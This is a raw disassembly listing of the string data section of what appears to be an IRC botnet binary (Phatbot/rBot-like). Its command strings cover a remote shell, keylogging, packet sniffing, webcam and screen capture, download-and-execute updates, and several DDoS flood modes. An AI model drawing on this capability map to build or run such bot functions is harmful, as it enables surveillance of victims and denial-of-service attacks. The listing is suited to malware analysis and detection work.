		dd 746E6573h, 2Eh
; char aCmd[]
aCmd		db 'cmd',0              ; DATA XREF: sub_401CC7+4084o
; char aCm[]
aCm		db 'cm',0               ; DATA XREF: sub_401CC7+409Bo
		align 4
; char asc_442D3C[]
asc_442D3C	db 0Ah,0		; DATA XREF: sub_401CC7+7753o
		align 10h
; char asc_442D40[]
asc_442D40	db '-'                  ; DATA XREF: sub_401CC7+776Bo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
; char asc_442D6C[]
asc_442D6C	db '-'                  ; DATA XREF: sub_401CC7+778Ao
		db 3, 34h, 2
		dd 2646D63h, 43202D03h,	616D6D6Fh, 3A73646Eh, 732520h
; char aReadfile[]
aReadfile	db 'readfile',0         ; DATA XREF: sub_401CC7+40B2o
		align 10h
; char aRf[]
aRf		db 'rf',0               ; DATA XREF: sub_401CC7+40C9o
		align 4
; char aR_0[]
aR_0:					; DATA XREF: sub_401CC7:loc_409385o
		unicode	0, <r>,0
unk_442D98	db  2Dh	; -		; DATA XREF: sub_401CC7+7720o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_442DBC	db  2Dh	; -		; DATA XREF: sub_401CC7+772Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
; char aPsniff[]
aPsniff		db 'psniff',0           ; DATA XREF: sub_401CC7+40E0o
		align 4
; char aOn[]
aOn		db 'on',0               ; DATA XREF: sub_401CC7+40F5o
		align 4
dword_442DEC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401CC7+4115o
aAlreadyRunni_1	db '- Already running.',0
		align 4
; char asc_442E0C[]
asc_442E0C	db '-'                  ; DATA XREF: sub_401CC7+417Co
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_442E3C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401CC7+41EBo
aFailedToSta_13	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
; char aOff[]
aOff		db 'off',0              ; DATA XREF: sub_401CC7+41F6o
dword_442E7C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401CC7+4219o
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_442EB8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401CC7:loc_405EEAo
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
; char aSniffer[]
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401CC7+4230o
; char aOn_0[]
aOn_0		db 'on',0               ; DATA XREF: sub_401CC7+4245o
		align 10h
unk_442EF0	db  2Dh	; -		; DATA XREF: sub_401CC7+4265o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_2	db '- Already running.',0
; char asc_442F10[]
asc_442F10	db '-'                  ; DATA XREF: sub_401CC7+42CCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_442F40	db  2Dh	; -		; DATA XREF: sub_401CC7+433Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
; char aOff_1[]
aOff_1		db 'off',0              ; DATA XREF: sub_401CC7+4346o
unk_442F80	db  2Dh	; -		; DATA XREF: sub_401CC7+4369o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_442FC0	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_40603Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
; char aIdent[]
aIdent		db 'ident',0            ; DATA XREF: sub_401CC7+4380o
		align 4
; char aOn_1[]
aOn_1		db 'on',0               ; DATA XREF: sub_401CC7+4395o
		align 4
dword_442FFC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC7+43B1o
aAlreadyRunni_3	db '- Already running.',0
		align 4
; char asc_44301C[]
asc_44301C	db '-'                  ; DATA XREF: sub_401CC7+43C1o
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_443048	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC7+440Eo
aFailedToSta_15	db '- Failed to start server, error: <%d>.',0
		align 4
; char aOff_2[]
aOff_2		db 'off',0              ; DATA XREF: sub_401CC7+4419o
dword_443080	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC7+443Co
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_4430B8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC7:loc_40610Do
aNoThreadFound_	db '- No thread found.',0
		align 4
; char aKeylog[]
aKeylog		db 'keylog',0           ; DATA XREF: sub_401CC7+4453o
		align 10h
; char aOn_2[]
aOn_2		db 'on',0               ; DATA XREF: sub_401CC7+4468o
		align 4
; char aFile[]
aFile		db 'file',0             ; DATA XREF: sub_401CC7+4479o
		align 4
dword_4430EC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401CC7+44CDo
aAlreadyRunni_4	db '- Already running.',0
		align 4
; char aFile_0[]
aFile_0		db 'file',0             ; DATA XREF: sub_401CC7+44E4o
		align 4
; char asc_443114[]
asc_443114	db '-'                  ; DATA XREF: sub_401CC7+4551o
		db 3, 34h, 2
		dd 6C79656Bh, 302676Fh
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_443138	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401CC7+45C0o
aFailedToSta_16	db '- Failed to start logging thread, error: <%d>.',0
		align 4
; char aOff_3[]
aOff_3		db 'off',0              ; DATA XREF: sub_401CC7+448Ao
dword_443178	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401CC7+44ADo
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
dword_4431B4	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401CC7:loc_40617Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 10h
; char aNet[]
aNet		db 'net',0              ; DATA XREF: sub_401CC7+45CDo
; char aStart[]
aStart		db 'start',0            ; DATA XREF: sub_401CC7+4624o
		align 4
aS_3		db '%s',0               ; DATA XREF: sub_401CC7+4646o
		align 10h
unk_4431F0	db  2Dh	; -		; DATA XREF: sub_401CC7+4668o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_443214	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_406339o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
; char aStop[]
aStop		db 'stop',0             ; DATA XREF: sub_401CC7+467Do
		align 4
aS_4		db '%s',0               ; DATA XREF: sub_401CC7+469Ao
		align 10h
; char aPause[]
aPause		db 'pause',0            ; DATA XREF: sub_401CC7+46A5o
		align 4
aS_5		db '%s',0               ; DATA XREF: sub_401CC7+46C2o
		align 4
; char aContinue[]
aContinue	db 'continue',0         ; DATA XREF: sub_401CC7+46CDo
		align 4
aS_6		db '%s',0               ; DATA XREF: sub_401CC7+46EAo
		align 4
; char aDelete_0[]
aDelete_0	db 'delete',0           ; DATA XREF: sub_401CC7+46F5o
		align 4
aS_7		db '%s',0               ; DATA XREF: sub_401CC7+4712o
		align 4
; char aShare[]
aShare		db 'share',0            ; DATA XREF: sub_401CC7+471Do
		align 10h
aS_8		db '%s',0               ; DATA XREF: sub_401CC7+4749o
		align 4
aS_9		db '%s',0               ; DATA XREF: sub_401CC7+4767o
		align 4
unk_443278	db  2Dh	; -		; DATA XREF: sub_401CC7+478Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
unk_44329C	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_40645Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
; char aUser_0[]
aUser_0		db 'user',0             ; DATA XREF: sub_401CC7+479Fo
		align 4
aS_10		db '%s',0               ; DATA XREF: sub_401CC7+47DBo
		align 4
aS_11		db '%s',0               ; DATA XREF: sub_401CC7+4808o
		align 4
aS_12		db '%s',0               ; DATA XREF: sub_401CC7+481Fo
		align 10h
unk_4432D0	db  2Dh	; -		; DATA XREF: sub_401CC7+4842o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_4432F0	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_406513o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 10h
; char aSend_0[]
aSend_0		db 'send',0             ; DATA XREF: sub_401CC7+4857o
		align 4
aS_13		db '%s',0               ; DATA XREF: sub_401CC7+4884o
		align 4
unk_44331C	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_406555o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 10h
unk_443340	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_40655Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_44335C	db  2Dh	; -		; DATA XREF: sub_401CC7+45F1o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
; char aCapture[]
aCapture	db 'capture',0          ; DATA XREF: sub_401CC7+48A5o
; char aCap[]
aCap		db 'cap',0              ; DATA XREF: sub_401CC7+48BCo
; char aScreen[]
aScreen		db 'screen',0           ; DATA XREF: sub_401CC7:loc_40914Bo
		align 4
; char asc_4433A8[]
asc_4433A8	db '-'                  ; DATA XREF: sub_401CC7+74BDo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
unk_4433D4	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_409194o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing screen.',0
		align 4
; char asc_443404[]
asc_443404	db '-'                  ; DATA XREF: sub_401CC7:loc_40919Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 10h
; char aDrivers[]
aDrivers	db 'drivers',0          ; DATA XREF: sub_401CC7:loc_4091AEo
; char asc_443448[]
asc_443448	db '-'                  ; DATA XREF: sub_401CC7+753Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 10h
; char asc_443470[]
asc_443470	db '-'                  ; DATA XREF: sub_401CC7+7571o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
; char aFrame[]
aFrame		db 'frame',0            ; DATA XREF: sub_401CC7:loc_409245o
		align 10h
; char asc_4434A0[]
asc_4434A0	db '-'                  ; DATA XREF: sub_401CC7+75F4o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
unk_4434CC	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4092CBo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 10h
; char asc_443500[]
asc_443500	db '-'                  ; DATA XREF: sub_401CC7:loc_4092D2o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for webcam capture.',0
		align 4
; char aVideo[]
aVideo		db 'video',0            ; DATA XREF: sub_401CC7:loc_4092E5o
		align 10h
unk_443540	db  2Dh	; -		; DATA XREF: sub_401CC7+76A0o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
unk_44356C	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_409371o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing amateur video from webcam.',0
unk_4435AC	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_40937Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for amateur video capture.',0
		align 4
; char aGethost[]
aGethost	db 'gethost',0          ; DATA XREF: sub_401CC7+48D3o
; char aGh[]
aGh		db 'gh',0               ; DATA XREF: sub_401CC7+48EAo
		align 4
; char aSSSS_1[]
aSSSS_1		db '%s %s %s :%s',0     ; DATA XREF: sub_401CC7+73E2o
		align 4
; char asc_443608[]
asc_443608	db '-'                  ; DATA XREF: sub_401CC7+740Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 10h
; char asc_443630[]
asc_443630	db '-'                  ; DATA XREF: sub_401CC7+7428o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 10h
; char asc_443660[]
asc_443660	db '-'                  ; DATA XREF: sub_401CC7+746Co
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h
		dd 0
; char aKilllog[]
aKilllog	db 'killlog',0          ; DATA XREF: sub_401CC7+4913o
; char aKl[]
aKl		db 'kl',0               ; DATA XREF: sub_401CC7+492Ao
		align 4
; char aAddalias[]
aAddalias	db 'addalias',0         ; DATA XREF: sub_401CC7+4941o
		align 4
; char aAa[]
aAa		db 'aa',0               ; DATA XREF: sub_401CC7+4958o
		align 4
unk_443698	db  2Dh	; -		; DATA XREF: sub_401CC7+736Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
; char aPrivmsg_1[]
aPrivmsg_1	db 'privmsg',0          ; DATA XREF: sub_401CC7+496Fo
; char aPm[]
aPm		db 'pm',0               ; DATA XREF: sub_401CC7+4986o
		align 4
unk_4436C4	db  2Dh	; -		; DATA XREF: sub_401CC7+733Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
; char aAction[]
aAction		db 'action',0           ; DATA XREF: sub_401CC7+499Do
		align 4
; char aA[]
aA:					; DATA XREF: sub_401CC7+49B4o
		unicode	0, <a>,0
; char dword_4436F0
dword_4436F0	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401CC7+72CAo
unk_4436FC	db  2Dh	; -		; DATA XREF: sub_401CC7+72ECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
; char aCycle[]
aCycle		db 'cycle',0            ; DATA XREF: sub_401CC7+49CBo
		align 10h
; char aCy[]
aCy		db 'cy',0               ; DATA XREF: sub_401CC7+49E2o
		align 4
; char a332_2[]
a332_2		db '332',0              ; DATA XREF: sub_401CC7+722Do
; char aPartS_1[]
aPartS_1	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+7244o
		align 4
; char aJoinSS_2[]
aJoinSS_2	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7271o
		align 4
dword_443744	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401CC7+727Eo
; char aMode_0[]
aMode_0		db 'mode',0             ; DATA XREF: sub_401CC7+49F9o
		align 10h
; char aM[]
aM:					; DATA XREF: sub_401CC7+4A10o
		unicode	0, <m>,0
; char aModeS_0[]
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+720Co
		align 10h
unk_443770	db  2Dh	; -		; DATA XREF: sub_401CC7+721Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
; char aC_raw[]
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401CC7+4A27o
		align 4
; char aC_r[]
aC_r		db 'c_r',0              ; DATA XREF: sub_401CC7+4A3Eo
; char aS_18[]
aS_18		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+71C1o
		align 10h
dword_4437A0	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401CC7+71E3o
		dd 25203A29h, 73h
; char aC_mode[]
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401CC7+4A55o
		align 4
; char aC_m[]
aC_m		db 'c_m',0              ; DATA XREF: sub_401CC7+4A6Co
; char aModeS[]
aModeS		db 'MODE %s',0          ; DATA XREF: sub_401CC7+711Do
; char aS_17[]
aS_17		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+7153o
		align 4
dword_4437D8	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401CC7+7175o
		dd 203A2973h, 7325h
; char aC_nick[]
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401CC7+4A83o
		align 4
; char aC_n[]
aC_n		db 'c_n',0              ; DATA XREF: sub_401CC7+4A9Ao
; char aNickS_5[]
aNickS_5	db 'NICK %s',0          ; DATA XREF: sub_401CC7+7092o
; char aS_16[]
aS_16		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+70C7o
		align 10h
; char dword_443810[]
dword_443810	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401CC7+70EBo
		dd 203A2973h, 7325h
; char aC_join[]
aC_join		db 'c_join',0           ; DATA XREF: sub_401CC7+4AB1o
		align 4
; char aC_j[]
aC_j		db 'c_j',0              ; DATA XREF: sub_401CC7+4AC8o
; char aJoinSS_1[]
aJoinSS_1	db 'JOIN %s %s',0       ; DATA XREF: sub_401CC7+704Do
		align 4
aS_15		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+7082o
		align 4
; char aC_part[]
aC_part		db 'c_part',0           ; DATA XREF: sub_401CC7+4ADFo
		align 4
; char aC_p[]
aC_p		db 'c_p',0              ; DATA XREF: sub_401CC7+4AF6o
; char aPartS_0[]
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_401CC7+6FE6o
; char aS_14[]
aS_14		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+701Bo
		align 4
; char aTarga3[]
aTarga3		db 'targa3',0           ; DATA XREF: sub_401CC7+4B0Do
		align 10h
; char aT3[]
aT3		db 't3',0               ; DATA XREF: sub_401CC7+4B24o
		align 4
; char asc_443874[]
asc_443874	db '-'                  ; DATA XREF: sub_401CC7+6F3Eo
		db 3, 34h, 2
		dd 67726174h, 3023361h
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
; char asc_4438A0[]
asc_4438A0	db '-'                  ; DATA XREF: sub_401CC7+6FA9o
		db 3, 34h, 2
		dd 67726174h, 3023361h
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aTsunami[]
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401CC7+4B3Bo
; char aTsn[]
aTsn		db 'tsn',0              ; DATA XREF: sub_401CC7+4B52o
; char asc_4438E8[]
asc_4438E8	db '-'                  ; DATA XREF: sub_401CC7+6E69o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_44391C	db  2Dh	; -		; DATA XREF: sub_401CC7+6ED8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToSta_17	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aRepeat[]
aRepeat		db 'repeat',0           ; DATA XREF: sub_401CC7+4B69o
		align 10h
; char aRp[]
aRp		db 'rp',0               ; DATA XREF: sub_401CC7+4B80o
		align 4
; char a332_1[]
a332_1		db '332',0              ; DATA XREF: sub_401CC7+6D0Eo
; char aRepeat_0[]
aRepeat_0	db 'repeat',0           ; DATA XREF: sub_401CC7+6D3Co
		align 10h
; char aSSSS_0[]
aSSSS_0		db '%s %s %s :%s',0     ; DATA XREF: sub_401CC7+6D67o
		align 10h
; char asc_443980[]
asc_443980	db '-'                  ; DATA XREF: sub_401CC7+6D90o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h
; char asc_443998[]
asc_443998	db '-'                  ; DATA XREF: sub_401CC7:loc_408A8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
; char aDelay[]
aDelay		db 'delay',0            ; DATA XREF: sub_401CC7+4B97o
		align 4
; char aDe[]
aDe		db 'de',0               ; DATA XREF: sub_401CC7+4BAEo
		align 4
; char a332_0[]
a332_0		db '332',0              ; DATA XREF: sub_401CC7+6C71o
; char aSSSS[]
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_401CC7+6CB4o
		align 4
dword_4439EC	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401CC7:loc_4089BBo
; char aUpdate[]
aUpdate		db 'update',0           ; DATA XREF: sub_401CC7+4BC5o
		align 4
; char aUp_0[]
aUp_0		db 'up',0               ; DATA XREF: sub_401CC7+4BDCo
		align 4
; char aSS_exe[]
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401CC7+6B34o
		align 4
; char asc_443A18[]
asc_443A18	db '-'                  ; DATA XREF: sub_401CC7+6BDAo
		db 3, 34h, 2
		dd 61647075h, 3026574h
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
dword_443A44	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401CC7+6C49o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
; char asc_443A80[]
asc_443A80	db '-'                  ; DATA XREF: sub_401CC7:loc_40891Ao
		db 3, 34h, 2
		dd 61647075h, 3026574h
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
; char aExecute[]
aExecute	db 'execute',0          ; DATA XREF: sub_401CC7+4BF3o
; char aE[]
aE:					; DATA XREF: sub_401CC7+4C0Ao
		unicode	0, <e>,0
unk_443AD4	db  2Dh	; -		; DATA XREF: sub_401CC7+6AC7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_443AF8	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401CC7+6AD2o
		dd 7325203Ah, 0
; char aFindfile[]
aFindfile	db 'findfile',0         ; DATA XREF: sub_401CC7+4C21o
		align 10h
; char aFf[]
aFf		db 'ff',0               ; DATA XREF: sub_401CC7+4C38o
		align 4
; char asc_443B24[]
asc_443B24	db '-'                  ; DATA XREF: sub_401CC7+69B7o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
; char asc_443B54[]
asc_443B54	db '-'                  ; DATA XREF: sub_401CC7+6A2Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_18	db 'Failed to start search thread, error: <%d>.',0
; char aRename[]
aRename		db 'rename',0           ; DATA XREF: sub_401CC7+4C4Fo
		align 4
; char aMv[]
aMv		db 'mv',0               ; DATA XREF: sub_401CC7+4C66o
		align 4
; char asc_443B9C[]
asc_443B9C	db '-'                  ; DATA XREF: sub_401CC7+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
dword_443BC0	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401CC7:loc_4085B7o
; char aIcmpflood[]
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401CC7+4C7Do
		align 4
; char aIcmp[]
aIcmp		db 'icmp',0             ; DATA XREF: sub_401CC7+4C94o
		align 10h
; char asc_443BE0[]
asc_443BE0	db '-'                  ; DATA XREF: sub_401CC7+683Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
unk_443C0C	db  2Dh	; -		; DATA XREF: sub_401CC7+68AFo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_19	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_443C44	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_408580o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
; char aClone_0[]
aClone_0	db 'clone',0            ; DATA XREF: sub_401CC7+4CBDo
		align 4
; char aC[]
aC:					; DATA XREF: sub_401CC7+4CD4o
		unicode	0, <c>,0
; char asc_443C88[]
asc_443C88	db '-'                  ; DATA XREF: sub_401CC7+674Do
		db 3, 34h, 2
		dd 6E6F6C63h, 3027365h
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
dword_443CB8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401CC7+67BCo
aFailedToSta_20	db '- Failed to start clone thread, error: <%d>.',0
		align 4
; char aDdos_syn[]
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401CC7+4CEBo
		align 10h
; char aDdos_ack[]
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401CC7+4D02o
		align 4
; char aDdos_random[]
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401CC7+4D19o
; char asc_443D18[]
asc_443D18	db '-'                  ; DATA XREF: sub_401CC7+6665o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_443D48	db  2Dh	; -		; DATA XREF: sub_401CC7+66D4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_21	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
; char aWisdom_udp[]
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401CC7+4D30o
		align 4
unk_443D8C	db  2Dh	; -		; DATA XREF: sub_401CC7+4E07o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_22	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aSynflood[]
aSynflood	db 'synflood',0         ; DATA XREF: sub_401CC7+4E14o
		align 4
; char aSyn[]
aSyn		db 'syn',0              ; DATA XREF: sub_401CC7+4E2Bo
; char asc_443DDC[]
asc_443DDC	db '-'                  ; DATA XREF: sub_401CC7+656Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
